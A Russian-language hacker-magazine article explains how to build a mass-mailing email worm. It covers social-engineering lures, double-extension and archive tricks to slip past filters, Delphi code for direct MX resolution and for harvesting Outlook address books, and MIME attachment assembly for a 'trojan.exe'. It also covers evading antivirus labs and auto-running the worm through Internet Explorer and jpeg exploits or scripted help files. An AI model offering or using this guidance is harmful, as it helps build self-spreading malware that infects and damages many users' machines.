Разводим червей

Разводим червейТакое явление как массовое распространение червей в Сети коснулась, думаю, любого. Наверняка ты уже знаешь таких сетевых представителей беспозвоночных, как Beagle и MyDoom, они заразили сотни тысяч машин и наделали немало шума. Может быть, ты думаешь, что сделать самому подобного зверя очень трудно? Это не так, мыльный червь на самом деле не представляет собой ничего сложного. И в этой статье я это попытаюсь доказать, рассказав тебе о принципах функционирования мыльных червей и об особенностях их реализации. Но хочу тебя сразу предостеречь, что черви чрезвычайно опасны, поэтому обращаться с ними надо со всей осторожностью, иначе можно наделать бед и загреметь за решетку. Так что все написанное в этой статье следует использовать только в учебных целях. В общем, начинаем разводить червей.Author: Ms-Rem (Ms-Rem@yandex.ru)
Что такое мыльные черви, и с чем их едят

Такое явление как массовое распространение червей в Сети коснулась, думаю, любого. Наверняка ты уже знаешь таких сетевых представителей беспозвоночных, как Beagle и MyDoom, они заразили сотни тысяч машин и наделали немало шума. Может быть, ты думаешь, что сделать самому подобного зверя очень трудно? Это не так, мыльный червь на самом деле не представляет собой ничего сложного. И в этой статье я это попытаюсь доказать, рассказав тебе о принципах функционирования мыльных червей и об особенностях их реализации. Но хочу тебя сразу предостеречь, что черви чрезвычайно опасны, поэтому обращаться с ними надо со всей осторожностью, иначе можно наделать бед и загреметь за решетку. Так что все написанное в этой статье следует использовать только в учебных целях. В общем, начинаем разводить червей.

Как работает червь?

Общий принцип работы всех мыльных червей — это рассылка писем, в аттачах которых находится копия червя, предназначенная юзеру. Наверно, ты думаешь, что это вздор, аттачи сейчас никто не запускает. Однако статистика говорит, что приложения в сомнительных письмах запускает 2-3% пользователей, а этого вполне достаточно для успешного распространения червей. После запуска червь каким-либо образом прописывает себя в автозагрузку. Следующим этапом работы червя является поиск всех e-mail адресов на зараженной машине, они извлекаются из адресной книги Outlook (либо других почтовых программ) и ищутся в html-, txt- и doc-файлах по всем дискам зараженной машины. Третьим этапом жизни червя является рассылка себя по всем найденным адресам. Все это с первого взгляда кажется примитивным, но на всех этапах есть множество важных тонкостей, которые нужно обязательно учесть для того, чтобы червь стал жизнеспособным. Необходимо заставить сервер принять письмо, а пользователя запустить в аттач. Нетривиальной также будет борьба с антивирусами, спамфильтрами почтовых систем, файрволами и различными фильтрами аттачей в mail-клиентах. Короче говоря, проблем у червеписателей хватает. Итак, приступим к рассмотрению всех этапов жизни червя по порядку.

Начнем с самого важного, по моему мнению, вопроса, который возникает при создании червя — как заставить юзера запустить аттач? В первую очередь нужно обойти проблемы технического характера, главной из которых может быть запрет открытия исполняемых файлов почтовой программой. Уже давно прошли времена, когда можно было смело посылать на мыло exe-файл и надеяться, что пользователь его запустит. Сейчас даже самый тупой юзер (на которого и рассчитаны мыльные черви) не запустит такой аттач по той причине, что ему не даст это сделать почтовая программа, либо письмо будет удалено фильтром вложений файрвола. Первое, что приходит на ум — это засунуть исполняемый файл в архив. Почтовые фильтры не рискнут удалять такие аттачи, а юзеру нетрудно будет открыть такой архив и запустить файл. Если на архив также поставить пароль и записать его в тексте письма, то будут пасовать и антивирусы на почтовых серверах, однако процент заражений несколько снизится.
Допустим, нам удалось создать аттач, который проходит все mail-фильтры и успешно попадает к пользователю. Теперь возникает задача заставить юзера его запустить. Издавна для этого используют социальную инженерию, то есть обычный развод. Для этого в письме пишут, что оно содержит security updates или еще какою-нибудь полезную программу. Также распространен метод создания в архивах файлов с двойными расширениями, при этом файл обычно имеет расширение .xls [очень много пробелов].exe и иконку документа Microsoft Exсel. Часто трояны в аттачах имеют расширение .pif, которое не отображается в эксплорере даже тогда, когда включено отображение расширений всех файлов.

Что такое червь и как он должен работать, думаю, тебе понятно. Теперь приступим непосредственно к рассмотрению технических вопросов, которые возникают в процессе создания беспозвоночных.

Релеинг и резолвинг

Проблема №1, которую нам нужно решить — это сама отсылка копии червя на e-mail адрес. В статье «Методы управления RAT», в июльском номере, я рассматривал процесс отправки мыла через SMTP-сервер mail.ru. Такой метод отправки подходит для различных парольных троянов, но для массовой рассылки червей неприменим. Потому что для его работы нужно иметь один или несколько постоянно работающих SMTP-серверов, через которые будет идти почта. Я думаю, ты уже понял, что такие серверы мгновенно прикроют доступ к себе, как только червя обнаружат, да и вряд ли какой-то SMTP сможет выдержать нагрузку, даваемую тысячами распространяющихся червей. Поэтому нам нужно отправлять почту, минуя центральный SMTP-сервер.

Что происходит с письмом, отправленным через какой-нибудь smtp.mail.ru? В этом случае сервер маил.ру работает, как SMTP Relay, то есть как перенаправитель сообщения от клиента на SMTP-сервер получателя. А зачем в цепочке рассылки лишний элемент, ведь можно отправлять почту напрямую получателю, минуя SMTP Relay. Как же нам узнать адрес SMTP сервера получателя? Это очень просто! Адрес SMTP, принимающего почту в каком-либо домене всегда определяется соответствующей MX-записью для этого домена на DNS-серверах.

Для начала нам нужно сделать резолвинг MX-записи нужного домена. Реализуется это двумя способами.

Первый — написание своего DNS Resolver\’а, который бы формировал запрос, посылал его серверу, принимал и декодировал ответ. Второй — использовать для этого DNS API. Второй вариант, конечно, гораздо проще, но он имеет один большой недостаток — функции DNS API появились только в Windows 2000 Professional (в не Pro версиях они отсутствуют!), а так как основным контингентом пользователей, заражаемых почтовыми червями, будут ламеры, сидящие на старых и необновленных системах, то такой метод резолвинга лучше не использовать. Однако для ознакомления с DNS API, я приведу код, резолвящий MX-записи.

function MXResolve(Domain: PChar): string;

var

pQueryResultsSet: PDNS_RECORD;

HostEnt: PHostEnt;

Name: PChar;

begin

pQueryResultsSet := nil;
if DnsQuery(Domain, DNS_TYPE_MX, DNS_QUERY_STANDARD, nil, @pQueryResultsSet, nil) = 0 then

begin
Result := pQueryResultsSet^.Data.MX.pNameExchange;

GlobalFree(dword(pQueryResultsSet));

end;

end;

Как ты видишь, резолвить с помощью DNS API проще простого, но так как этот метод не всегда приемлем, перейдем к рассмотрению следующего метода.

Ручной DNS резолвинг

Я попытаюсь рассказать немного о DNS-протоколе. Я не ставлю перед собой цели подробно рассказывать обо всей системе, но попытаюсь дать основные понятия, необходимые для понимания этого протокола. Подробно ты можешь все прочитать в документации RFC 1034 и 1035.

DNS-запросы бывают разного типа. Тип запроса имеет числовое значение от 1 до 16 и определяет информацию, которую вы желаете получить. Номер типа ответа всегда соответствует номеру типа запроса, чтобы знать, что и к чему относится. Вот основные типы DNS-запросов:

01 A host address (IP адрес хоста)
02 NS authoritative name server (NS сервер)
03 MD mail destination (устар.тип, сейчас юзают MX)
04 MF mail forwarder (устар.тип, сейчас юзают MX)
05 CNAME the canonical name for alias
06 SOA marks of a start of zone of authority
07 MB (experimental)
08 MG (experimental)
09 MR mail rename domain name (experimental)
10 NULL a null RR
11 WKS a well known service description
12 PTR a domain name pointer
13 HINFO host information
14 MINFO mail box or mail list information
15 MX mail exchange
16 TXT text string

Из них нас интересуют только MX-записи, имеющие номер 15. Наряду с типом запроса, существует еще и класс запроса. Это связано с тем, что протокол DNS универсален и может работать практически в любых сетях, а не только в TCP/IP. Так как другие сети нам не понадобятся, нас будет интересовать только один класс запросов — IN (=1), который предназначен для использования в Интернете. Пакет запроса имеет следующий вид:

Packet Length — 2 байта
Query/Response header — 12 байтов
Question — нет фиксированной длины, зависит от количества вопросов
Answer — формируется сервером, нет фиксированной длины
Authority — формируется сервером, нет фиксированной длины
Additional — формируется сервером, нет фиксированной длины

Запрос должен включать в себя Length, Header и Question, а ответ может иметь все поля, но поле Answer в нем является обязательным.

Теперь определим структуру, описывающую заголовки Query/Response header:

TDNSHeader = packed record
qryID : word; — идентификатор запроса
options: word; — флаги
qdcount: word; — счетчик записей в поле Question
ancount: word; — счетчик записей в поле Answer
nscount: word; — счетчик записей в поле Authority
arcount: word; — счетчик записей в поле Additional

end;
TQueryType = packed record
QType : word; — тип запроса
QClass: word; — класс запроса
end;

Чтобы получить адрес SMTP-сервера, куда мы хотим послать письмо, мы должны составить запрос, послать его, принять и декодировать ответ. Со структурой запроса, я думаю, все понятно, давай теперь разберемся с возвращаемыми ответами, а для этого надо разобраться, что такое RR-записи. Они формируются NS-сервером и располагаются только в ответе и строго следом за полем запроса. То есть Answer и все последующие состоят из некоторого количества RR-записей различного формата. В них передаются в качестве информации и IP-адреса, и названия серверов, и просто текстовая информация. Подробно все типы этих записей приведены в RFC 1035, они довольно похожи друг на друга и различаются лишь мелкими деталями. Так что я буду говорить только об интересующих меня. Аббревиатура RR означает Resource Record (это официальное название из документа).
RR-запись выглядит так:

NAME up to 255 bytes + 1 (\’\0\’)
TYPE 2 bytes (UINT)
CLASS 2 bytes (UINT)
TTL 4 bytes (signed 32 bits number — \’long\’)
RDLENGTH 2 bytes (UINT)
RDATA variable, depend on query

Где NAME — название хоста, к которому относится запись, TYPE — тип представляемой информации (о типах см. выше), CLASS — класс сети (в нашем случае всегда \’IN\’ (01)), TTL — время хранения информации в секундах, RDLENGTH — длина блока информации в байтах, RDATA — блок представляемой информации.

Самой главной проблемой при декодировании ответа будет разбор возвращаемых имен хостов. Имя хоста состоит из нескольких частей. Перед каждой частью ставится байт, определяющий ее длину. Например, www.microsoft.com будет выглядеть как 03 www 09 microsoft 03 com 00, имя всегда оканчивается нулевым байтом. Но самая главная фича не в этом, а в том, что имя может быть упаковано. Упаковывают имя, используя указатель, он представляет собой два байта, причем первый используется в качестве семафора, два старших бита этого семафора установлены в 1, а остальные не определены. Второй байт является смещением от начала запроса, то есть от первого байта идентификатора. Если байт длины равен $C0, то следующий за ним байт будет указателем (кошмар — прим. gorl\’а). Напишем функцию, декодирующую такие имена:

function GetQName(var RecvData; Offset: Integer; var Pt: Pointer): string;

var

ChPt : PChar;

ReadBytes : Byte;

begin

Result := \’\’;

ChPt := @RecvData;

Inc(ChPt, Offset + 1);

while ChPt^ <> \’\’ do

begin

if ChPt^ = #$C0 then

begin

Inc(ChPt);

Result :=Result + GetQName(RecvData, Ord(ChPt^) — 1, Pt);

Break;

end else

begin

ReadBytes := Ord(ChPt^);

while ReadBytes > 0 do

begin

Inc(ChPt);

Result := Result + string(ChPt^);

Dec(ReadBytes);

end;

end;

Inc(ChPt);

if
(ChPt^ <> \’\’) then Result := Result + \’.\’;

end;

Pt := ChPt;

end;

Так как объем статьи не позволяет рассмотреть процесс MX-резолвинга целиком, то я рассмотрю здесь только еще один важный момент — получение IP DNS-сервера, через который мы будем слать запросы. В этом нам поможет функция GetNetworkParams из iphlpapi.dll. Эта функция возвращает различную информацию о сетевых адаптерах, в том числе и адреса, связанных с ними DNS.
function GetDNSServer(): dword;

var

FixedInfoSize : Integer;

FixedInfo : PFixedInfo;

PDNS :PIPAddrString;

GetNetworkParams : function(FI:PFixedInfo; var BufLen: Integer): Integer; stdcall;

begin

Result := 0;

GetNetworkParams := GetProcAddress(LoadLibrary(\’iphlpapi.dll\’),

\’GetNetworkParams\’);

if @GetNetworkParams = nil then Exit;

FixedInfoSize := 1024;

GetMem(FixedInfo, FixedInfoSize);

if GetNetworkParams(FixedInfo, FixedInfoSize) = ERROR_SUCCESS then

begin

PDNS := @FixedInfo^.DNSServerList;

if PDNS <> nil then Result := inet_addr(PDNS^.IPAddress);

end;

FreeMem(FixedInfo);

end;

Работающий пример MX-резолвера ты можешь найти на диске.

Получение адресов для рассылки

Перед тем как начинать рассылку копий червя, неплохо было бы определить адреса, по которым мы будем его рассылать. Для этого нам нужно сначала вытащить все адреса из адресной книги юзера, а затем и просканировать все файлы на дисках на их наличие.

Попробуем для начала достать адреса из адресной книги Outlook. Нужная нам информация хранится в .wab файлах, и в виду их простой стуктуры будет нетрудно их распарсить вручную. Вот пример кода, сохраняющего все адреса из wab-файла в файл Emails.txt:

procedure ReadWAB(WABFile: string);

var

F : file;

I : dword;

S : string;

N : array[1..5] of Char;

Buf : array[1..500] of Char;

R : TextFile;

begin

AssignFile(R,\’Emails.txt\’);

ReWrite(R);

AssignFile(F,WABFile);

Reset(F,1);

if IOResult=0 then begin

repeat

BlockRead(F,N,2);

if N[1]+N[2]=#03#48 then begin

BlockRead(F,Buf,Ord(N[2])+30);

S:=\’\’;

for I:=1 to Ord(N[2])+30 do S:=S+Buf;

Delete(S,1,3);

I:=Pos(#00#00#00,S);

if I>0 then SetLength(S,I-1);

for I:=1 to Ord(N[2]) do if S=#00 then Delete(S,I,1);

for I:=1 to Length(S) do

if S0)and(Pos(\’.\’,S)>0) then

writeln(r,UpperCase(S));

end else Seek(F,FilePos(F)-1);

until FileSize(F)-FilePos(F)<6; CloseFile(F); end;

CloseFile(R);

end;

Ну, и совсем просто будет извлечь адреса из Windows Messenger, так как они просто хранятся в реестре, в разделе HKEY_CURRENT_USERSoftwareMicrosoftMessengerServiceListCache.NET Messenger Service, откуда их можно прочитать, просто перечислив соответствующие ключи. Как это сделать, я думаю, ты и сам догадаешься.

Следующим этапом после адресных книг будет поиск мыл в файлах на диске. Сделать это очень просто, поэтому приводить примеров я не буду, но подскажу, что для реализации этого тебе хватит API-функций FindFirstFile, FindNextFile, FindClose, CreateFile, ReadFile и CloseHandle, ну и еще обязательно понадобится немного мозгов (они пригодятся для того, чтобы сообразить, как использовать регулярные выражения для поиска мыл — прим. gorl\’а). Конечно, помимо этого, можно извлекать адреса из адресных книг других программ, можно даже использовать кейлогер и отслеживать вводимые юзером данные, все эти приемы повышают эффективность червя и увеличивают скорость его размножения. Очень важный момент при получении списка адресов — это его фильтрация. Ты ведь не хочешь, чтобы твой червь сам отправился прямиком в лабораторию Касперского, поэтому следует сделать список слов-исключений, которые не должны встречаться в адресах, пригодных для рассылки. Все адреса с этими словами просто следует не включать в базу.

Создание аттачей в письме

В статье про управление трояном я рассматривал простейшую отправку письма и процесс SMTP-чата, но не рассматривал процесс отправки аттачей в тексте письма. Начнем с того, что аттачи передаются не в бинарном виде, а в текстовом. Связано это с тем, что изначально SMTP/POP3 протоколы предназначались исключительно для передачи текста и работали не с байтами, а с 7-битными символами, что позволяло передавать только знаки латинского алфавита. Все символы, не попадающие в этот диапазон, обрезаются почтовым сервером до 7 бит, что вынуждает нас перед передачей кодировать бинарные данные в специальный формат. В свое время было придумано множество вариантов кодирования (UUE, XXE, Base64), но прижился и с успехом используется сейчас только формат Base64. Давай кратко рассмотрим принципы кодирования Base64.

Как известно, байт состоит из восьми битов. Один байт может принимать 256 значений: от 0 до 255. Однако если вместо восьми байт использовать только шесть, то объем вложенной информации уменьшается до 64 значений: от 0 до 63. Теперь главное: любую цифру 6-ти битового байта можно представить в виде печатного символа. 64 символа это не так много, ASCII-символов вполне хватит, что позволяет закодировать все данные в следующий набор:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

А далее берутся три последовательных байта по восемь бит (всего 24 бита) и побитно делятся на четыре 6-ти битных байта (всего 24 бита).

Немного странно звучит, «шестибитный байт». На самом деле бит восемь, однако используются только 6 младших бит, два старших бита игнорируются. Основываясь на этом принципе, мы можем закодировать любую двоичную информацию в текст, не очень сильно увеличивая ее объем (на 30%). Затем наша информация через почтовый сервер попадет к нужному адресату, почтовик которого декодирует текст в двоичный файл.

Готовый пример Base64-кодирования ты найдешь на диске с журналом. Но просто вставить Base64-код в текст письма недостаточно. Для того чтобы почтовая программа распознала этот текст как аттач, нужно сформировать соответствующие заголовки. В начало письма обязательно нужно вставить заголовки MIME-Version и Content-Type, первый определяет версию MIME (мы будем использовать 1.0), а второй — тип содержимого письма и разделители между MIME-элементами. Перед самими Base64-данными должен быть вставлен блок, описывающий тип этих данных, имя файла в аттаче и тип его кодирования. Выглядеть это будет примерно так:
MIME-Version: 1.0

Content-Type: multipart/mixed; boundary=»_===13023223====_»

—_===13023223====_

Content-Type: text/plain; charset=»windows-1251″; format=»flowed»

Content-Transfer-Encoding: 8bit

[Текст письма]

—_===13023223====_

Content-Type: application/octet-stream

Content-Disposition: attachment;

filename=»trojan.exe»

Content-Transfer-Encoding: base64

[Здесь идут Base64 данные]

С тем, как добавить файл в аттач, я думаю, все понятно.

Так как все пересылаемые файлы мы будем паковать в архив, то давай разберемся, как можно его создать. Самым простым и лучшим способом будет использование внешнего архиватора, например, если на компе юзера установлен WinRar, то архив создается всего одной строкой: WinExec(\’rar.exe a -r data.rar trojan.exe\’, SW_HIDE). Подобным образом можно использовать и другие архиваторы, но, к сожалению, не у всех на компе стоит хоть какой-нибудь архиватор. В таком случае нам ничего не остается, кроме как создавать архивы вручную. Но так как париться со сжатием, я думаю, тебе не хочется, то будем использовать библиотеку MadZip, которая позволяет полноценно работать с ZIP-архивами, и при этом добавляет в исполнимый файл всего 20 Кб веса. Библиотека как всегда на диске с журналом, с ней очень легко разобраться, честное слово.

Итак, суть работы червей и некоторые моменты их реализации я постарался здес описать. Приведенной здесь информации, конечно, недостаточно для того, чтобы вызвать новую эпидемию, но все что для этого нужно ты можешь легко изучить сам (но не в коем случае не делай этого — это плохо!). Для начала советую найти в сети исходники Beagle и MyDoom и внимательно их изучить, затем прочесть и понять RFC на SMTP и MIME-протоколы. Нужно разбираться в психологии для того, чтобы заставить большое количество юзеров запустить аттач. И весьма неплохо было бы добавить к червяку какой-нибудь полиморф. Но я все равно надеюсь, что новой эпидемии не будет, так как каждый, кто разберется в этой теме до конца, не станет тратить свои знания на бесполезное уничтожение, а лучше использует их для написания общественно полезного софта. Верно? ;)

Автозапуск аттача.

Недостаток большинства мыльных червей в том, что для их запуска нужны действия пользователя. Но этого можно избежать, если использовать уязвимости в почтовом ПО. Наиболее популярный в народе почтовый клиент — Outlook Express при просмотре html-писем использует движок Internet Explorer. Всем известно, что этот движок отличается исключительной дырявостью. На IE было выпущено множество эксплойтов, запускающих код на уязвимой машине, и большинство их можно использовать для автозапуска червя при открытии письма! За такую замечательную возможность нам нужно поблагодарить Билла Гейтса, а разработчикам IE нужно памятник при жизни поставить за то, что они сделали в нем много удобных для использования дыр :).

Очень странно, что эту возможность использует очень мало червей. Как пример можно привести червя Winevar. Червяк этот очень старый (еще 2002 года), но отличается от большинства других червей тем, что использует дырку iFrame и запускается при просмотре письма в окне быстрого просмотра Outlook. Это, конечно, круто, но есть возможность лучше. Наверное, ты слышал о существовании jpeg-эксплойта. Существование этого эксплойта связано с ошибкой в обработке jpeg-файлов в системной библиотеке, что позволяет заразить комп через любую программу, показывающую jpeg-картинки! Это можно использовать не только в Outlook, но и в других почтовых клиентах, таких как TheBat или Eudora. На диске ты найдешь исходник этого эксплойта, но, к сожалению, в настоящее время он срабатывает мало у кого. Эксплойты — это, конечно, хорошо, но, к сожалению, не всегда можно найти что-то реально рабочее, поэтому стоит присмотреться к другим методам маскировки червя в письме. Если в письма слать exe-файл, то мало кто его запустит, так как юзеры стали осторожнее. Но большинство из них даже не подозревает, что опасность может скрываться в .hlp- и .chm-файлах. Одна из малоизвестных возможностей help-файлов — выполение сценариев на простом скриптовом языке, причем эти сценарии позволяют запускать исполнимые файлы. Эту возможность можно использовать с высокой эффективностью, так как доверия к hlp-файлам намного больше, чем к exe. Help-файлы можно создавать в Help Workshop (входит в состав MS Visual Studio 6). Инфу по скриптовому языку можно прочитать в документации к этой программе. В качестве демонстрации этого метода на диске лежит help-файл, запускающий cmd.exe. Но не составит никакого труда сделать хэлп, который форматирует винт ;).